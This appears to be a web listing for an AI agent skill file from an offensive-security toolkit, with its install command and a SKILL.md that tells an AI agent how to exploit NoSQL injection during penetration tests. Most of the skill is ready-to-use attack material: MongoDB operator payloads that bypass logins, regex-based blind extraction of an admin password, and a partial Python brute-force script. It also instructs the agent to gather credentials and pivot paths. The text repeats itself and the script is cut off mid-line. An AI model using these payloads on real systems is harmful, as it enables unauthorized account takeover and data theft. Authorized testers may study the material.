/nosql-injection
Guide NoSQL injection exploitation during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill nosql-injection --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/nosql-injection
Context preview
The summary Claude sees to decide when to auto-load this skill.
Guide NoSQL injection exploitation during authorized penetration testing.
SKILL.md
nosql-injection.SKILL.mdname: nosql-injection
description: >
Guide NoSQL injection exploitation during authorized penetration testing.
keywords:
- nosql injection
- mongodb injection
- nosqli
- operator injection
- $ne injection
- $where injection
- mongo auth bypass
- nosql auth bypass
- couchdb injection
- mongoose injection
- graphql nosql
- nosql blind extraction
tools:
- burpsuite (NoSQLi Scanner extension)
- nosqlmap
- nosqli
opsec: medium
NoSQL Injection
You are helping a penetration tester exploit NoSQL injection vulnerabilities. The target application passes user-controlled input to NoSQL database queries (typically MongoDB) without proper sanitization. The goal is to bypass authentication, extract data, or achieve code execution. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[nosql-injection] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- An input processed by a NoSQL database (URL param, form field, JSON body,
GraphQL variable, API parameter)
- Common indicators: MongoDB-style error messages (`MongoError`,
`$operator`), JSON-based APIs, Node.js/Express backends, Mongoose ORM
- Burp Suite with NoSQLi Scanner extension (optional)
Step 1: Assess
If not already provided, determine: 1. **Database** — MongoDB (most common), CouchDB, or other
- MongoDB: look for `ObjectId`, `$operator` in errors, Node.js stack
- CouchDB: look for `_rev`, `_id`, Futon/Fauxton admin panels
2. **Injection format** — URL-encoded parameters or JSON body
- URL params with array notation: `param[$ne]=value`
- JSON body: `{"param": {"$ne": "value"}}`
3. **Injection point** — which parameter accepts operators 4. **Response behavior** — different content for true/false conditions?
Quick Detection Probes
URL-encoded (test each parameter):
param[$ne]=test
param[$gt]=
param[$exists]=true
JSON body:
{"param": {"$ne": "test"}}
{"param": {"$gt": ""}}
{"param": {"$exists": true}}If the response changes (login succeeds, different content, different status code), the parameter accepts MongoDB operators.
Step 2: Authentication Bypass
The most common NoSQL injection — bypass login forms by injecting operators that make the query match any document.
URL-Encoded Bypass
# Match any username and password ($ne = not equal to garbage)
username[$ne]=toto&password[$ne]=toto
# Match all with regex
username[$regex]=.*&password[$regex]=.*
# Match any existing field
username[$exists]=true&password[$exists]=true
# Greater than empty string (matches everything)
username[$gt]=&password[$gt]=
# Target specific user with wildcard password
username=admin&password[$ne]=wrong
# Target admin with regex
username[$regex]=^admin&password[$ne]=wrong
JSON Body Bypass
{"username": {"$ne": null}, "password": {"$ne": null}}{"username": {"$ne": ""}, "password": {"$ne": ""}}{"username": {"$gt": ""}, "password": {"$gt": ""}}{"username": "admin", "password": {"$ne": "wrong"}}{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}$or Bypass
{"username": "admin", "$or": [{"password": {"$ne": ""}}, {"password": {"$regex": ".*"}}]}$in Operator — Enumerate Known Users
{"username": {"$in": ["admin", "root", "administrator", "Admin"]}, "password": {"$gt": ""}}$nin — Exclude Known Users to Find Others
# Skip admin, find the next user
username[$nin][]=admin&password[$gt]=
Step 3: Blind Data Extraction
When operator injection works but data isn't directly reflected, extract values character by character using `$regex`.
Determine Field Length
# Test password length (adjust the number)
username=admin&password[$regex]=.{1} # true if len >= 1
username=admin&password[$regex]=.{5} # true if len >= 5
username=admin&password[$regex]=.{10} # true if len >= 10
username=admin&password[$regex]=.{8} # narrow down with binary searchExtract Value Character by Character
# Test first character
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^b.*
...
username=admin&password[$regex]=^m.* # true — first char is 'm'
# Test second character
username=admin&password[$regex]=^ma.*
username=admin&password[$regex]=^mb.*
...
username=admin&password[$regex]=^md.* # true — second char is 'd'
# Continue until full value extracted
username=admin&password[$regex]=^mdp$ # exact match confirms
Automated Blind Extraction — JSON POST
import requests
import string
url = "http://TARGET/login"
headers = {"Content-Type": "application/json"}
username = "admin"
password = ""
charset = string.ascii_letters + string.digits + string.punctuation
while True:
found = False
for c in charset:
if c in ['*', '+', '.', '?', '|', '\\', '^', '$', '{', '}', '(', ')']:
c = '\\' + c # escape regex metacharacters
payload = '{"username": "%s", "password": {"$regex": "^%s"}}' % (
username,Read more
name: nosql-injection description: > Guide NoSQL injection exploitation during authorized penetration testing. keywords: - nosql injection - mongodb injection - nosqli - operator injection - $ne injection - $where injection - mongo auth bypass - nosql auth bypass - couchdb injection - mongoose injection - graphql nosql - nosql blind extraction tools: - burpsuite (NoSQLi Scanner extension) - nosqlmap - nosqli opsec: medium
NoSQL Injection
You are helping a penetration tester exploit NoSQL injection vulnerabilities. The target application passes user-controlled input to NoSQL database queries (typically MongoDB) without proper sanitization. The goal is to bypass authentication, extract data, or achieve code execution. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[nosql-injection] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- An input processed by a NoSQL database (URL param, form field, JSON body,
GraphQL variable, API parameter)
- Common indicators: MongoDB-style error messages (`MongoError`,
`$operator`), JSON-based APIs, Node.js/Express backends, Mongoose ORM
- Burp Suite with NoSQLi Scanner extension (optional)
Step 1: Assess
If not already provided, determine: 1. **Database** — MongoDB (most common), CouchDB, or other
- MongoDB: look for `ObjectId`, `$operator` in errors, Node.js stack
- CouchDB: look for `_rev`, `_id`, Futon/Fauxton admin panels
2. **Injection format** — URL-encoded parameters or JSON body
- URL params with array notation: `param[$ne]=value`
- JSON body: `{"param": {"$ne": "value"}}`
3. **Injection point** — which parameter accepts operators 4. **Response behavior** — different content for true/false conditions?
Quick Detection Probes
URL-encoded (test each parameter):
param[$ne]=test param[$gt]= param[$exists]=true
JSON body:
{"param": {"$ne": "test"}}
{"param": {"$gt": ""}}
{"param": {"$exists": true}}If the response changes (login succeeds, different content, different status code), the parameter accepts MongoDB operators.
Step 2: Authentication Bypass
The most common NoSQL injection — bypass login forms by injecting operators that make the query match any document.
URL-Encoded Bypass
# Match any username and password ($ne = not equal to garbage) username[$ne]=toto&password[$ne]=toto # Match all with regex username[$regex]=.*&password[$regex]=.* # Match any existing field username[$exists]=true&password[$exists]=true # Greater than empty string (matches everything) username[$gt]=&password[$gt]= # Target specific user with wildcard password username=admin&password[$ne]=wrong # Target admin with regex username[$regex]=^admin&password[$ne]=wrong
JSON Body Bypass
{"username": {"$ne": null}, "password": {"$ne": null}}{"username": {"$ne": ""}, "password": {"$ne": ""}}{"username": {"$gt": ""}, "password": {"$gt": ""}}{"username": "admin", "password": {"$ne": "wrong"}}{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}$or Bypass
{"username": "admin", "$or": [{"password": {"$ne": ""}}, {"password": {"$regex": ".*"}}]}$in Operator — Enumerate Known Users
{"username": {"$in": ["admin", "root", "administrator", "Admin"]}, "password": {"$gt": ""}}$nin — Exclude Known Users to Find Others
# Skip admin, find the next user username[$nin][]=admin&password[$gt]=
Step 3: Blind Data Extraction
When operator injection works but data isn't directly reflected, extract values character by character using `$regex`.
Determine Field Length
# Test password length (adjust the number)
username=admin&password[$regex]=.{1} # true if len >= 1
username=admin&password[$regex]=.{5} # true if len >= 5
username=admin&password[$regex]=.{10} # true if len >= 10
username=admin&password[$regex]=.{8} # narrow down with binary searchExtract Value Character by Character
# Test first character username=admin&password[$regex]=^a.* username=admin&password[$regex]=^b.* ... username=admin&password[$regex]=^m.* # true — first char is 'm' # Test second character username=admin&password[$regex]=^ma.* username=admin&password[$regex]=^mb.* ... username=admin&password[$regex]=^md.* # true — second char is 'd' # Continue until full value extracted username=admin&password[$regex]=^mdp$ # exact match confirms
Automated Blind Extraction — JSON POST
import requests
import string
url = "http://TARGET/login"
headers = {"Content-Type": "application/json"}
username = "admin"
password = ""
charset = string.ascii_letters + string.digits + string.punctuation
while True:
found = False
for c in charset:
if c in ['*', '+', '.', '?', '|', '\\', '^', '$', '{', '}', '(', ')']:
c = '\\' + c # escape regex metacharacters
payload = '{"username": "%s", "password": {"$regex": "^%s"}}' % (
username,Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill

